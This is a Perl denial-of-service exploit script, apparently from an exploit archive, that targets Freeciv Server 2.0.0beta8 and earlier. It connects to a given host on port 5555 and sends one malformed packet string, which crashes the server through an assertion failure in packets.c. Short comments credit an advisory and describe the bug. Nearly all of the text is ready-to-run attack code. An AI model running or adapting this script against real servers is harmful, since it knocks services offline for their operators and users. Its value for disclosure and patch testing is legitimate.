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Freeciv Server <= 2.0.0beta8 Denial of Service Exploit
[======================================================
Freeciv Server <= 2.0.0beta8 Denial of Service Exploit
======================================================
#!/usr/bin/perl
# Freeciv Server <= 2.0.0beta8 DoS exploit (windows&linux releases)
# Vendor: http://www.freeciv.org/
# Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ]
# There is a vulnerability in the handling of incoming data. If the request
# is uncomplete or modified, the server crashes because of a bug in the
# get_packet_from_connection function in packets.c. Look at the code below
# for more information.
use IO::Socket;
if (@ARGV < 1)
{
system "clear";
print "[-] Usage: exploit_freeciv.pl <host ip>\n";
exit(1);
}
system "clear";
$server = $ARGV[0];
print "[-] Freeciv DoS Exploit\n\n";
print "[-] Server IP: ";
print $server;
print "\n[-] Connecting to IP ...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "5555"); unless ($socket) { die "[-] $server is offline\n" }
print "[-] Connected\n\n";
print "[-] Creating string\n";
$string="@+2.0 conn_ping_info username_info-beta8";
# >civserver: packets.c:385: get_packet_from_connection:
# Assertion 'error == 0' failed.
# Aborted(core dumped)
print "[-] Sending string\n\n";
print $socket "$string";
print "[>] Attack successful - Server killed\n";
close($socket);
# 0day.today [2024-11-15] #